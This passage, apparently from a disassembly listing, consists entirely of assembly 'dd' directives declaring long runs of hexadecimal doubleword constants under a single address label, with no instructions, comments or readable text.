0A3092260h dd 6AC928Bh, 29D4E47Dh, 4900F9BDh, 4AE788DEh, 721AE30Fh dd 0D470401h, 0C1899EB4h, 0D0D66B80h, 3540A53Fh, 0A98363B5h dd 60AF3EE0h, 32AFFCFEh, 6D532500h, 5CCB8044h, 6F062EBDh dd 7B430188h, 60B30BADh, 2410161Ch, 506A32E0h, 2231364h dd 180F400Ch, 0D2D88498h, 30083D00h, 7E9E79E1h, 785803A5h dd 0F20EFF99h, 208FF3E9h, 0F10334Ch, 84788CA0h, 3EBCC858h dd 782C2816h, 8171E13Bh, 0A737ABFEh, 89909A4Bh, 1D16009Bh dd 58F8FB85h, 3857EAEEh, 0C058ABB1h, 3271FA80h, 1E01E169h dd 0A8A0D55Ch, 3CE0655Bh, 0F868A0A9h, 7B7373h, 3A4A97F6h dd 0B20D9CCBh, 0C992860h, 7CA85CA3h, 0E89F4C10h, 7E5D5980h dd 1600CF6Ch, 893F384Ch, 0EC494C7h, 2409CD17h, 46B08FA0h dd 78173203h, 0B022D7ACh, 4E54C1EDh, 9B007822h, 2558FAF2h dd 5E0B1276h, 90B2CEF3h, 9D9CE0h, 85EA2F55h, 9BA6FFCAh dd 3F0010B8h, 423CAC20h, 0A9D6279h, 0B5165999h, 3E68001Ch dd 3090B921h, 5263BE1Ch dd 1E6AFA40h, 15E3F0FDh, 0B4B75FA6h, 88A09F15h, 15A58900h dd 0C3E72E61h, 0F28F5104h, 248D0721h, 3CD491D8h, 398FC980h dd 4BE12FBCh, 0EC93E27Fh, 7400C225h, 9CF86127h, 52A7DD7Ah dd 0A028DC56h, 11C47C88h, 0ADF02ACh, 0F1571A3Eh, 44C80712h dd 2634EEACh, 0DA4F2Eh, 0D4BFE92h, 0A8F079ADh, 593F833Eh dd 6A560A50h, 0AC20EC1Fh, 0A5FAA715h, 17160024h, 0EE73CD0Ah dd 0FA355D74h, 4E7AC16h, 402B3D90h, 1AC51DB6h, 44110348h dd 75516C85h, 0CED430A5h, 500893Dh, 0C427EB0Eh, 44ABA8F2h dd 1D0036AAh, 7DCCC38Dh, 0C318B02h, 57B95A55h, 22047121h dd 623DC6C5h, 45184488h, 0E204309Bh, 749059F4h, 0B990CC44h dd 26A200B0h, 0E687CD1Bh, 8BA46C00h, 0DD99FBF0h, 9E510FDEh dd 2F2F8FCh, 0D1B2570Ch, 2B71D466h, 0B4DB3F00h, 6D04EC0Fh dd 0EA1C3FE2h, 0B9C66407h, 6B0B0AFh, 0F318F83Ch, 6F39A5B2h dd 324F00C9h, 88521E7Eh, 330292DCh, 0B8068320h, 7F88C0D4h dd 3C30FB11h, 4ED094CAh, 308A0057h, 0DF39DAD7h, 9B3AEA00h dd 79086092h, 6BA412A9h, 0F25420B4h, 8507B716h, 25EB7DF3h dd 0E23863F9h, 0D3871E2h, 0E399A9ACh, 2913A8A8h, 8BFB41C0h dd 18CBF7BAh, 31AA92A7h, 0B0F2B3FCh, 0D9007898h, 93F54CF0h dd 0EDFA29h, 0FBC0ABDCh, 9F062782h, 0F05FC0C0h, 1F84F954h dd 68A89A41h, 18C87C30h, 1826ED7Dh, 4B0105Bh, 0E3C4C02Eh dd 99582007h, 0BD29040h, 2E82780Fh, 1180AAD7h, 7E3000CCh dd 0D8DDF00Eh, 40A3585Fh, 5019900h, 0D7F232A1h, 0B9CD9F30h dd 3591F66h, 29073722h, 0B7A8E567h, 2B13B019h, 0C30E295h dd 0E63A1F99h, 0DE1B0F94h, 78245F7Bh, 0EA7C88B2h, 0EB017D00h dd 216104B1h, 653F06DFh, 0C89C7C9Fh, 58EF3C48h, 0E61C0B58h dd 754C83C5h, 2BE1E91Fh, 17BE839h, 5AECBAB4h, 0E378B5EAh dd 0F1F4F9C8h, 7254DD00h, 7B0FAA94h, 7841E1ACh, 6C223CEDh dd 3478EA31h, 7FCC205Ah, 20C4E5FBh, 0A53BEE54h, 0FBFD8059h dd 0A6507CE7h, 5EB24A07h, 0C0965FBCh, 0A217FE6Bh, 8407E48Eh dd 0CC3DE3A8h, 249F2643h, 403C4D29h, 10FB0F66h, 73F17F00h dd 63C84B94h, 9C64028Bh, 294FDEEEh, 43CACC84h, 0A826A38Eh dd 0F83D32EDh, 47070293h, 3A301CFDh, 887C0840h, 0B9068E01h dd 9FD1CF7Eh, 0BE01C039h, 0DA639A10h, 303D4Dh, 0F3A1F415h dd 2CBAE639h, 0B094B479h, 5A7783D8h, 0F703E213h, 0D5899800h dd 2EFB3A4h, 8AFC103Ch, 48628359h, 0D99F3CB0h, 929ABB0Ch dd 7E7994h, 131ECEA7h, 1A06EE56h, 9EF04D01h, 32E2CFDDh dd 0EA046C62h, 0A20599C7h, 0D7E600B0h, 0BF97DAE3h, 9030548h dd 8820B5E4h, 0C8604EE0h, 0A5A96C9h, 0FC4A0057h, 8CDEF32Bh dd 0A40FABD2h, 0FDE201h, 0B17B285Fh, 56A00964h, 0FC5F7h dd 7F510091h, 9D23B641h, 1EB500DDh, 0C888D25Dh, 0D53B6C31h dd 12FE0054h, 0A6C4B204h, 44BF594Ah, 0AEACF70Dh, 0E0ECE391h dd 0E3023A84h, 19F6F383h, 28519Ah, 0B58BD333h, 9300765Fh dd 59A406F7h, 3946B39h, 8F56F04Eh, 514C81B2h, 0C37A0077h dd 0C9F6458Ch, 0DABB036Ch, 0E412F7B6h, 258E294h, 0FA5DD3A9h dd 0A0216373h, 31A0499h, 807C0858h, 0D0A05135h, 0F23E19B5h dd 9F79133Dh, 0E1BFD422h, 0C0E22927h, 0C059DF66h, 0FDEF7C88h dd 324F6FB3h, 51CBB003h, 145612B5h, 54140720h, 0DE6DC0A3h dd 0B23B2Ch, 0C8ADCD1Eh, 6176B800h, 0B63EDCh, 52273DD5h dd 0BB04AC37h, 77BC900h, 34B53C20h, 0B1D413CFh, 409C2792h dd 0C88E7CBFh, 0A83E747Ch, 7FAF443Ch, 769C953h, 40E08C04h dd 7B180BB7h, 0F77902D3h, 10713F3Bh, 6C7D23E0h, 223DBF01h dd 67547436h, 252ACCD0h, 5803E40Ch, 9E5A73Bh, 24919060h dd 4818C039h, 0A0805500h, 5A461A02h, 0A4710078h, 0B75CE999h dd 4A26D5DAh, 600418DDh, 0C8849A7h, 0F4470278h, 53203213h dd 1985FCC0h, 2092AE2Dh, 0EB6FBFC0h, 26CC0E70h, 57E13E44h dd 60908DF1h, 0DC9132ACh, 0BF1C7824h, 5DA74B83h, 1E6103ABh dd 7A570D5Ch, 151B2012h, 78C09113h, 0B62BE03Dh, 1F1CAC2Ch dd 78830516h, 738BC2E1h, 42A908C3h, 0BEBC4C5Eh, 31009976h dd 0EAC5CD20h, 6C1D283h, 29DDE081h, 740979B5h, 805F0CFAh dd 9733145Bh, 46670025h, 6204CA8Fh, 505C8401h, 38630390h dd 0C41FA870h, 0BE2BB540h, 70B4EC36h, 0EB5A1663h, 0E5CFF080h dd 0AF95056Ch, 0C1DD8A12h, 0DFAE7A18h, 0D38FD2C8h, 903FB440h dd 1872ED33h, 10DBB600h, 6C4F29E9h, 0B945E603h, 0E0815D6Eh dd 352F949h, 0F2011F89h, 0C902BE2Ch, 0B7504FA1h, 13B07186h dd 80A21E9Dh, 0C44CA906h, 843A24F6h, 836A858Fh, 0F08462EDh dd 0F234CC60h, 8C3848BFh, 6DCD651Eh, 7111010h, 83FE003h dd 0A845C7AFh, 17613E35h, 9B1ACDh, 328E57Bh, 0F31704A6h dd 20885B31h, 26180012h, 0CC4AF084h, 41025EBCh, 0EAE4C444h dd 3434E0EFh, 63541A4h, 0D900C19Eh, 0F35C7FF6h, 59AA27Ch dd 577265C5h, 80E080B7h, 1A00B274h, 0B5026E5Dh, 706C8B1h dd 0D1FE31DBh, 0E2B9C1A3h, 9DC8383Fh, 9F8F00A5h, 9888C54h dd 0ACF50D92h, 0FA002044h, 263109B8h, 1D5F83Fh, 692E5DFDh dd 0C44B3D93h, 2B038599h, 27D818DAh, 7DFA0D9h, 39E900A2h dd 9E20E6D5h, 2300F33Fh, 546E9070h, 7F7A867Bh, 898E1D3Eh dd 401418FBh, 6F00C5DFh, 3A0CD925h, 0C1166C2Ah, 1EFB519h dd 1100C3D5h, 0E9DBB8D4h, 7DBCB7B1h, 2A391441h, 0B831875h dd 6B9B19F4h, 81C081B1h, 0CC72B18h, 84020AEh, 1587AAh dd 51E1E8B4h, 5AEE94E0h, 9D8B8E01h, 13A14BC7h, 11DA2883h dd 38B06AF8h, 63E4F33Dh, 7188EF0Ch, 60A12019h, 0ECCA2928h dd 7C039739h, 0E797683h, 37C49823h, 0CA4719Ch, 5B43C4Bh dd 0FA890DF8h, 18F29D0h, 6FE4B9F0h, 802DC474h, 1FFDD63Ch dd 4CF68257h, 720103B0h, 0E2335E88h, 0CDA2D45Ah, 4A50ED03h dd 32AFB93h, 0D0F1F250h, 1100EE72h, 3B74A4CCh, 15146Eh dd 0A9370AFDh, 0C461D99Ch, 4E640606h, 0EC11EA0h, 42D25012h dd 0F4D39D41h, 6D9A602Fh, 186AE9C7h, 0D2CC4631h, 3F29A0E8h dd 2F25895h, 330F3002h, 0C08445E0h, 81088C6Ch, 0F0107012h dd 0E0422800h, 0FEA78766h, 684D00CDh, 433FDADFh, 0F9F6814Bh dd 9E02C0A0h, 0EC1ABC08h, 6870942Eh, 4EB9F400h, 10D8783Bh dd 0E8CD3800h, 5E344358h, 322B0C6h, 46E43794h, 0B9006E20h dd 0D98E4868h, 98B3035Fh, 0E0A924CDh, 0B05A1D60h, 883D16B0h dd 852BAC00h, 3B9FC7FCh, 0A4E963DDh, 49006C20h, 134EEEE5h dd 167F3EAh, 735C3192h, 0D387249Dh, 0ECAA4BF8h, 0FD59A9C0h dd 72100984h, 0E1F60063h, 0EFF90829h, 4092C780h, 0C69E2400h dd 0CF5235F1h, 42649014h, 3FAB2E5Fh, 80A4D514h, 4B6A8225h dd 4EE7002Eh, 0A11BA4C4h, 59079A2Dh, 0AD256D35h, 0D781B6F0h dd 162601FDh, 23CE4208h, 15C18076h, 64AB4BA2h, 0EEEB1DB1h dd 3E658081h, 3C40589Fh, 0C478C500h, 2A5C59B5h, 0F93B0090h dd 933DC860h, 51F8AF33h, 0A4E0D238h, 0A807409Ah, 19438995h dd 4A85E80Eh, 80F15471h, 506400A9h, 8C404D65h, 160B9E5Bh dd 55C220Dh, 0EC4727B4h, 0F14C7235h, 28D20BAAh, 8506E422h dd 0A48119E0h, 0C40FA70h, 5D58FFBBh, 6267BB8h, 803814B0h dd 0BE9C1CC1h, 98FBE344h, 13A2304Ch, 0BA9DB461h, 33B71A16h dd 0EF17A703h, 2B710195h dd 0A7794F32h, 0B53DDC23h, 0ADE9FF13h, 0C7D01037h, 2C38C58h dd 2D10BBBDh, 88464A0Dh, 0D7E69500h, 3815D8A7h, 0FF3A01C9h dd 0E7D2A5C0h, 9E30203Fh, 91CCFA48h, 13A003Ch, 0FC7DDD60h dd 0C123303Dh, 0DC530B19h, 0F3A74600h, 424BC4CCh, 39520020h dd 0AAF364Ch, 0D0E828F9h, 81993F04h, 0B890FBA0h, 1E351C63h dd 26C3424Ah, 9AF50157h, 80F07429h, 0EE04E281h, 58EC85A6h dd 0D6005486h, 739C2EB3h, 60033F95h, 0D80BDADBh, 0B0A90018h dd 0EA05AFDDh, 8DE6377Bh, 0E23D060Fh, 0B45B2098h, 9C1B49h dd 0F9119635h, 924A7B40h, 4614DCA4h, 80F45A1Ah, 1726D89Fh dd 0A85B3EB3h, 0B40C6801h, 24297AEFh, 222A35C4h, 0F138AC6Fh dd 0B3C5879Ch, 9A00B981h, 0EE6760h, 0BAA1A729h, 0CA5A438Eh dd 87BB923Ah, 0AF3219ABh, 3F548A47h, 4FE8CC0h, 717A1139h dd 11397EF2h, 0CAD800D4h, 4042671Ah, 9879000Dh, 49505AB3h dd 92484BAAh, 0E090E0h, 88AEFC39h, 33E40B7h, 28EF3204h dd 16509F79h, 1725394h, 0BE1550E8h, 2E4C423h, 66D338B6h dd 194CC18Bh, 0AD248C14h, 8A169300h, 0EA660888h, 96EB2F29h dd 23400BE0h, 4E8014A2h, 0EFA3A951h, 643C6B00h, 9B56EE9Eh dd 1CEBFEEDh, 9F684B39h, 87BF093Ah, 225D0802h, 0E478B361h dd 2F3B9C39h, 0B53C0A0Ch, 44005020h, 0AE67CF4Fh, 382A0A29h dd 9CD411A1h, 3D0387E7h, 4A377073h, 0E8A8DE91h, 30093E76h dd 0A31E722Ah, 4A2348h, 310EEDA9h, 0A3878885h, 622F9B07h dd 4A2009CEh, 0C4421AD6h, 0C085DA29h, 0C133D71Ch, 9EA98E01h dd 60E83E30h, 159AF3F0h, 9801D56Ah, 0A7032900h, 0B57288C4h dd 49FBC907h, 0CD54EB9Eh, 0A15BC680h, 0D59C01Fh, 0C7A271D1h dd 2CB5A400h, 3A6AE632h, 0A1604C9Fh, 3528E400h, 88565717h dd 91E1B400h, 0E299BF4Dh, 700600ABh, 0F2B2C9EFh, 9D3CD15Dh dd 2F11F78h, 0A02408E6h, 53A2D440h, 0A7B851h, 3A0EB97Ah dd 22660A26h, 81AF7B3Ch, 335D8377h, 2424ED74h, 8DCF02FEh dd 5736A893h, 0FCD8D643h, 5C01C722h, 1923BA83h, 0C9801B41h dd 11B43454h, 30004EB5h, 21F842D4h, 7D252AD1h, 0AB4100BCh dd 8E6332F1h, 0B20B13ADh, 3F6FD5Ah, 18498C2Ch, 5110A1A9h dd 0B9038B75h, 330AD0D3h, 0F588E167h, 520429E4h, 4322E411h dd 7BDE3Dh, 0FA592738h, 0A215FE2h, 5DE4C7C1h, 16EE9D88h dd 2F602099h, 0F33A430Dh, 3799F39h, 0D4005013h, 8F604DACh dd 0AED43C3Ah, 0E985D303h, 69004827h, 1EDBB19Bh, 1CC3BB14h dd 47695070h, 0D0D296BAh, 6C2A678Ch, 37DA1520h, 8439401Ah dd 0A120800Ch, 0D499BFFEh, 0ADB49480h, 2F38F8Bh, 0F2E8895Eh dd 60423073h, 6002C044h, 6C57812Dh, 0E718C0B1h, 4E9302C7h dd 0CA941554h, 4014451h, 0FE284DABh, 0C5F777E8h, 0C09CEC41h dd 0F6474ED5h, 0D9BC43EBh, 8F3BD5D9h, 0C001A539h, 0B07AB4DDh dd 98970059h, 0E0753FB1h, 1898587Bh, 65305F00h, 861F8739h dd 0EFFC1222h, 0A2F8218Dh, 0C3E9801Dh, 576F1CCFh, 1207672h dd 2418F34Bh, 0CC15389Ch, 260D5EDh, 0F364779h, 16B7F4F5h dd 2188F228h, 29924328h, 8E59020Ch, 401648B3h, 0C6FA3830h dd 98AF0C08h, 0E3E17B00h, 80BE993Ah, 0E43001Ch, 3B9E3850h dd 1E0BA08Fh, 8161E7h, 141BD2B8h, 0C54A7275h, 0D017CF10h dd 651EB408h, 7783BCB9h, 0F8E3896Fh, 15C6D09Bh, 10816B56h dd 57F45301h, 0F413E83Ch, 12081ECBh, 80752703h, 7BB36E67h dd 0FE85245h, 0A1811F00h, 0BBFC9528h, 86FE46h, 4F241615h dd 0EF09AB7Dh, 750A0CB0h, 900ED56Ch, 0EA80E39Ch, 8FA434C1h dd 9A540CD9h, 6CF83F14h, 2F73DB17h, 0B22BBC08h, 0EC98F9F8h dd 0F13C5C3Ch, 6D00FA7Dh, 97EEA663h, 166CCFBh, 0D2F0281Fh dd 1B32489h, 6860CE73h, 0A15F101Dh, 29DA1D27h, 0EBE575C0h dd 745E65Dh, 3114AE33h, 0A9ABA1E1h, 0AAA0408Fh, 68B08704h dd 7107E60h, 321A5075h, 7749223Fh, 0C2388452h, 0B95A8036h dd 96133388h, 0F220067h, 506C2429h, 90B8CAF4h, 0C8A46048h dd 88704441h, 6A90858Ch, 0D14C9B0Fh, 0A83F6130h, 298036A1h dd 9743FED9h, 309ED52h, 0FCD382ECh, 0E1A0443h, 0F0844Eh dd 1BDD52A4h, 53E60A13h, 0F9740318h, 6A8D61h, 885C3621h dd 0A8F6E6ABh, 7952857Eh, 0BB2012D0h, 601C5843h, 1A10F829h dd 0A281E5Dh, 0BD50030Dh, 0BD0E5FFh, 88013D6Ch, 0CA4EF7B9h dd 382977C3h, 0C4147500h, 0B18F87E9h, 0C2A49E00h, 88940DA7h dd 0F9623DCCh, 0F7749B8Ch, 0CE05D631h, 88BC8CC9h, 0F15AACC0h dd 0D8C31880h, 2A16990Fh, 6CCE0100h, 55D0A8BCh, 37490522h dd 401CEE19h, 0F33DE090h, 0F10A2161h, 7C984BB7h, 131A3F02h dd 49F0E176h, 2026BC50h, 3513F78h, 0E475F280h, 2CD6CFA5h dd 0CA01A30Eh, 0AB4860EFh, 91D81CB0h, 7F53E40h, 2407B9E1h dd 80DF5B78h, 8B7BC490h, 19131FB0h, 11EC693Bh, 0CEA403F1h dd 8F5B64C7h, 4D44E9A0h, 11390B01h, 2005D78Fh, 0EFF8063Bh dd 2B4C6996h, 0C73A0030h, 1738997Eh, 4899A0h, 15D23C69h dd 600AFE7h, 72792E53h, 0C47DB1Ah, 0F374317Eh, 0EC0F8179h dd 69E61007h, 0C31B802Bh, 2229A6h, 0F61659C2h, 2AD241DAh dd 394AF48h, 0FDBF8ECEh, 0E8A0E473h, 0A420E9C5h, 9580332h dd 2D754004h, 39A2A899h, 4E3F00B4h, 87586708h, 96CD0055h dd 0FA8E465Bh, 477F98BBh, 280BA7E4h, 813410F9h, 0A05E3DE4h dd 2C2F2040h, 185400BBh, 6AFB53CDh, 0DC7E872Dh, 5F3C4100h dd 0A6CF3849h, 1237029Bh, 20A3569Eh, 0BE005052h, 38D13C7Fh dd 549FCCh, 9D361BD8h, 7C61F087h, 737F7502h, 60A6EADBh dd 486F4648h, 84C374AEh, 25A9EDC7h, 0F981F909h, 187273h dd 882CA75Eh, 599C89h, 87D5F69Ah, 786F44A8h, 4B3E7B00h dd 4F073CFFh, 752A1562h, 585CE009h, 8AAB4000h, 385147FBh dd 0C55D8707h, 0B5C0956Ch, 50E14C11h, 9CDFBCA8h, 0C2EE400Ch dd 2F1D3BDDh, 56C730E3h, 87F099F8h, 1467AD97h, 80614E04h dd 743DD7C0h, 6E000923h, 0B17B1EA2h, 0F2A843h, 6FECEB2h dd 9AFD46EDh, 7E005670h, 96B77358h, 5DD549h, 13F3E2DDh dd 0CFD31774h, 71473204h, 2A072B8Bh, 0C7481070h, 45033F6Fh dd 0A16B0121h, 22A40104h, 2A63CA4Ch, 116C335Eh, 0E9161FC3h dd 574401E5h, 4028E319h, 71802080h, 0AA98A898h, 0FC8DF705h dd 9C227829h, 86B7E081h, 22700B17h, 2C90ABF2h, 600029EAh dd 0CF7D1B2Eh, 1B541105h, 587B650Bh, 3948DF1h, 1ADBA0B3h dd 893A6446h, 3D04C870h, 632E6F7Bh, 0B760B46Bh, 3C1EEBh dd 95CA42A7h, 911DB046h, 0C89ED73Ch, 1272254h, 187E9C11h dd 3220DC37h, 91D90024h, 74F3EB3Dh, 4CC10096h, 0C9EF86Ah dd 0E74CCB3Ch, 6FB2244h, 73FCE55Fh, 430011F8h, 0DFE6DCA3h dd 0BD01CD9h, 74393C76h, 80950810h, 0A4213Fh, 78480AA2h dd 4385Eh, 8729C95Dh, 28D07C44h, 4072F7h, 0BAEB1365h, 0A0E331A1h dd 13CEA088h, 0D381E2h, 1DB48F24h, 944825DBh, 4A3D05ECh dd 0F8438292h, 187281F2h, 0F935A1D9h, 0E8F39D1Bh, 1A007EE6h dd 0F2ABC2FCh, 0C05171h, 6D54BA8Bh, 0F463C8D1h, 7F59B404h dd 60C008F7h, 2CF60D5h, 4894BE9Ah, 774052EAh, 232A6573h dd 3800ECC2h, 4263CC47h, 17321C27h, 15AFC31h, 0C1C29C90h dd 0B43BD0D1h, 0B821FF24h, 0D80FC804h, 954CB4h, 4F8EE251h dd 0C65BD86h dd 1FF2A41Eh, 0E0E366C9h, 9CD8DE24h, 0E96B0010h, 6EAB5A3Ah dd 2EDAD25h, 0C13DE288h, 7121CECh, 0FB5D9CA0h, 8B0012B4h dd 0F2B78DF4h, 48224B28h, 888E9074h, 2648E720h, 5F83204h dd 4930061Dh, 0F50D1300h, 4A2B86EAh, 891020F9h, 1DF066A8h dd 402F6300h, 1070C733h, 0F96AE803h, 71007862h, 42494D60h dd 0D7007AC5h, 4E6E86DCh, 12790188h, 12107EFh, 585CE04h dd 4C17D43Ch, 83C3D016h, 0F5670030h, 0D4F100B0h, 9840938Dh dd 0FCA07FB5h, 94224BC2h, 88DC4CE0h, 48FC11C3h, 21F07260h dd 627DC5h, 97419E87h, 14D17BF3h, 0C2114705h, 2FC00F5Bh dd 0EC10C85Dh, 0C74E00C4h, 0BAAB3D63h, 0D07C730Ah, 0F35AB207h dd 3981CFC2h, 0B4502AA0h, 7E1A22h, 85BFA381h, 6E4010E9h dd 0B04B2404h, 44974720h, 16C07BC1h, 1797F6E0h, 152246Dh dd 0D5B19210h, 0B977110Ch, 17B2BD40h, 0CA910108h, 8EBC2B1Bh dd 1A072A2h, 4EB173D3h, 0DEFCEF9Ah, 17C40027h, 21672EEAh dd 0FE130639h, 0C090A057h, 3743F810h, 458EB64Ah, 0D28B29Bh dd 0D0E2AFF3h, 0A201D063h, 501317DEh, 2E4DC0D8h, 0C1581200h dd 0FD3EBBB7h, 9C975C29h, 0F1460C00h, 5D309EE2h, 379AD101h dd 83166076h, 735474h, 2D9E1CE6h, 1FBFA9AAh, 86D51900h dd 0F5DC844Ah, 21524FF4h, 60319E14h, 7C249251h, 3A07B1F0h dd 0C8901B5Dh, 99717509h, 32840080h, 33BC5961h, 50741E2Eh dd 9975E640h, 19790E02h, 35275FECh, 0C228253Bh, 772223B0h dd 9218487Ch, 7BD300A0h, 0BCB4AE13h, 0A300A162h, 3C04DD77h dd 76E25DC8h, 0CD5584Dh, 0BA804B8Eh, 7133314Ch, 81BF84B4h dd 0A9204FA0h, 0E0CA02FBh, 0AC31BAh, 0AE3C6E45h, 0E3522860h dd 0C55C8CF8h, 57D8C28Ch, 0F11460A2h, 8CF4C42h, 5DC9FFC0h dd 5948FBD9h, 2A5205B3h, 0C0943DF9h, 0C8C8AC12h, 50A001Fh dd 8C39897Bh, 2005B114h, 7129AC13h, 0D801FCB5h, 0D063E57Ah dd 0CD66F800h, 456C54C0h, 0D2E12E00h, 0E4E0AFCFh, 2161018Ah dd 4A520D95h, 0B0BC489Ch, 436BECA0h, 44B6587Ch, 37218164h dd 0BBBA8087h, 0D3F1EF66h, 21765E28h, 30D00140h, 7352898Ch dd 924E00C4h, 5EA5E065h, 0CD331739h, 138300B2h, 611D32D2h dd 41997D01h, 72BBC9EFh, 78234840h, 0E3E296h, 1D6A03FDh dd 389FD07Eh, 0BE05C89Ch, 2C84D698h, 24AD4040h, 12B28E59h dd 0D173F2h, 0A2F3CA34h, 527E6991h, 0FC2A771Ch, 1790DD00h dd 0A0F5A643h, 8BC78E74h, 0ABC842E0h, 5DAEA203h, 0D909FED2h dd 0B0264BB1h, 7C30CA3Ah, 5D5BB762h, 9D0B323Bh, 60136605h dd 0FB9E9430h, 708DFCF4h, 82DC024Ah, 22289170h, 0F900F0C4h dd 26BCBA1h, 0B4BC4C1h, 328E6415h, 8766845Fh, 0FC2C88h dd 4E36BC3Dh, 325EADEEh, 0A4E39E24h, 8A81D085h, 0B1472C87h dd 0D1C3E480h, 273D7A58h, 58908632h, 830075ABh, 9C37D9CAh dd 4B5AACBh, 1B51A5EBh, 174C59Eh, 0EFD12249h, 8AF44015h dd 0AB0642ECh, 26D73407h, 0DC440349h, 2B5BC03Bh, 3A07FB0h dd 3C0AE21Eh, 81974A00h, 5CF2C5E8h, 3A8290AAh, 4D942FCh dd 0F6F33F00h, 7661CEAh, 0BDC5DB1Fh, 1AA830ADh, 14A0209Eh dd 25007F4Dh, 7C579141h, 28C54A0h, 0B6C7BCDBh, 9846AA9Dh dd 0CC93D701h, 0CAF1338h, 0F6A887E4h, 3B9E0E78h, 20924B4Ah dd 814D2130h, 0A8560213h, 0A6A4C8h, 76325DCh, 0C12184F7h dd 38F36824h, 208D1E00h, 301A40E4h, 993126ECh, 0B20288CAh dd 69749582h, 0F06442FCh, 29DB2CA8h, 20DA003Ch, 39631592h dd 0A17A2A27h, 0F9AC881Ch, 0A15191F4h, 387220EDh, 0F515BD00h dd 0F059457Dh, 7A583E00h, 291F08BEh, 23300326h, 12B590A5h dd 3088E648h, 73869125h, 0B162DC1h, 0FC198C90h, 5B076500h dd 0BC15BFDDh, 25F20BE9h, 3C6479B6h, 9F00D67Ch, 62204177h dd 0C00175h, 0AB84A36Bh, 1A743BB9h, 21C722h, 13193299h dd 6F3F2575h, 0B549AE04h, 0C00CEFh, 4822298Ah, 2F0E4C37h dd 0CE805F31h, 0A996A263h, 12EE1A18h, 3ACA9F49h, 0B8FC5CBCh dd 5A6F7880h, 0C9B800DBh, 0E91FFDD5h, 28FCE300h, 0ED7C2C34h dd 0FAD8268Dh, 6B6D0110h, 62A1C47Fh, 1D071ED8h, 966380FCh dd 0CA48EA2Ch, 1498FA77h, 94421A73h, 545F23C3h, 4785E2C8h dd 90782A24h, 2662884Ch, 720B481h, 0CAED192Eh, 0EE22011Ch dd 78BF9D07h, 9070CB54h, 7BAE68h, 771FE21Dh, 164A8EF4h dd 844DB93Dh, 43E796D2h, 1E3E808Ch, 8F0BC5h, 0BA375376h dd 9802C02Ch, 8E464569h, 0C6EF4007h, 1E710E43h, 0EFA3134Bh dd 41487396h, 9CED2260h, 81294044h, 372E6789h, 0B400C38Eh dd 1A7C27D2h, 0A4209458h, 0F9F10055h, 4519F487h, 0F84528BCh dd 0E004EC16h, 34E207C9h, 30DCB40Fh, 0C28AE860h, 92006EFDh dd 742449C8h, 0C1F6F461h, 5E475438h, 9B8020D1h, 772A4B0Ch dd 0A0C49908h, 4F5D38ECh, 61AC20FFh, 0A800ACB7h, 9BF26783h dd 3995D935h, 1204DD53h, 0C13D735Ch, 7923E24Ch, 0CEEB4008h dd 0F6C94100h, 0B6014DEBh, 0A30C03FEh, 51088DF8h, 84884590h dd 4CF0D800h, 3340EB69h, 0E92C63A0h, 86F05B91h, 0B8003EFAh dd 0EF98751Bh, 26126C0Eh, 28546BF9h, 2D960BB0h, 2800A98Dh dd 6007D03Eh, 0D818C13Bh, 455801Ch, 504841h, 9D26C4D1h dd 5DFDD681h, 85A0FB00h, 2BAFAB40h, 0BC8024F2h, 67598024h dd 0E25A1C74h, 47233D11h, 6EF01Ch, 0B2EDEA50h, 0F93CEE9Ch dd 5F5800E9h, 31BF9F9Dh, 43275BE8h, 0F3930ED8h, 86DD7FE0h dd 79591F00h, 204CFDDAh, 1B640009h, 5AB8D94Eh, 0E0906378h dd 0A7F02645h, 30A348E9h, 0D602CB38h, 743976F3h, 1F00DCC4h dd 661DAFBBh, 0E6CEC5h, 879291F0h, 0B48D26F3h, 135D1F02h dd 0A094EF7Eh, 9DCF616Ch, 0B83DEE17h, 7362094Ch, 0B8C9A038h dd 8489E490h, 0C25DF700h, 0BCB736D4h, 23E001E8h, 0EDDB1940h dd 186227h, 68D5A9AEh, 165A754h, 0EFF68F52h, 0AF197095h dd 7FE81020h, 32100015h, 700E1C60h, 3D00DDEDh, 8842D9EAh dd 7F53A61Ah, 59875C36h, 80E0E029h, 5283DD74h, 350010FCh dd 1B321415h, 4B34944Fh, 0D2F0C009h, 38266016h, 0DD126C06h dd 0FDA888h, 6C40A50Dh, 1B4B8569h, 61986CC7h, 0C19B1CC0h dd 0AA8F0019h, 32E46AFEh, 0D90B1D9Ch, 8A8216h, 0A6F6B71Ch dd 0EEC0F82Bh, 0B1DB2E49h, 5A6300C4h, 6081D5F0h, 73ACC70Ah dd 1581CC84h, 7FF96CDCh, 0E7F8AE61h, 0C375F65Fh, 0F677BFA8h dd 0E080D900h, 0C226FF38h, 45EA032Fh, 0D8411B40h, 5E2A32C8h dd 8580689Eh, 0A45C43B1h, 0A12C723Fh, 0FC606DDCh, 20FB5E89h dd 0FC8E48Ch, 0A40A7303h, 0E7BADD69h, 59AC0149h, 4789C15h dd 0EAF55BC0h, 0C70FBEBh, 0FD9BD000h, 0CDE463E6h, 0A5E70B85h dd 781027F1h, 3500168Fh, 6FB9B172h, 248B9F88h, 3824C7h dd 9E1CC873h, 50BD33CBh, 3B4B046Fh, 0C1C45F28h, 0E5C82276h dd 58C032A5h, 0C0C45C38h, 5517B51Dh, 6BF000ADh, 584FCF89h dd 0B8094766h, 513F21E1h, 2E9F8718h, 0FA56D0E2h, 5C3D59AFh dd 0F84C055Ah, 84401AD5h, 626CCA9Bh, 16E800C6h, 4106C1E7h dd 0B5B81DD0h, 15215F00h, 1CF4754Eh, 0D0D74A27h, 0BFA93FE8h dd 0EC03297Fh, 3717F550h, 0E3ADB0CFh, 164D0031h, 0DA73F95Dh dd 7C9CA64Bh, 8534087h, 37CA4210h, 6EA119BEh, 804BB4EEh dd 57A94DA0h, 2EB53DF3h, 2479FE11h, 67CE00B4h, 4026F991h dd 81FFD303h, 0BD3788ABh dd 24F334CCh, 5479233h, 882723FEh, 7800354Ch, 0B8B6DBD1h dd 1FFFBBFh, 5FE9EC06h, 2920A00Ch, 8421005Ch, 364DB880h dd 2A500D7h, 0BB88E101h, 0CE5973A0h, 5543BE0h, 4A142687h dd 0E43EE80Bh, 9CE70074h, 600F4190h, 0E1171DD1h, 94483476h dd 0A03F8608h, 0EE703129h, 42913C09h, 0D307816Ch, 0A360E536h dd 1205B4Bh, 3BEECD60h, 245C22D8h, 76008E73h, 8C08DEF5h dd 7B96258Fh, 3EAC8810h, 620F6C13h, 4EFCAC89h, 0BE420E9Eh dd 9FE0ACC0h, 563AC9D0h, 0A1AF3812h, 0ADA81890h, 5CE800E0h dd 3930F2BAh, 10056E6Fh, 8E9E20DDh, 842C50E1h, 358C4683h dd 4D077490h, 3640DCB4h, 